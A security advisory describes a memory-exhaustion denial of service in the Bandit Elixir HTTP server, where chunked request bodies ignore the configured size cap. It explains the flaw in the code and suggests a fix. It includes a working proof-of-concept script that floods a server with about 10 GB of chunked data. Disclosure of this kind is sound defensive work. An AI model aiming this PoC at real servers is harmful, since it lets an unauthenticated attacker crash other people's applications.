Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.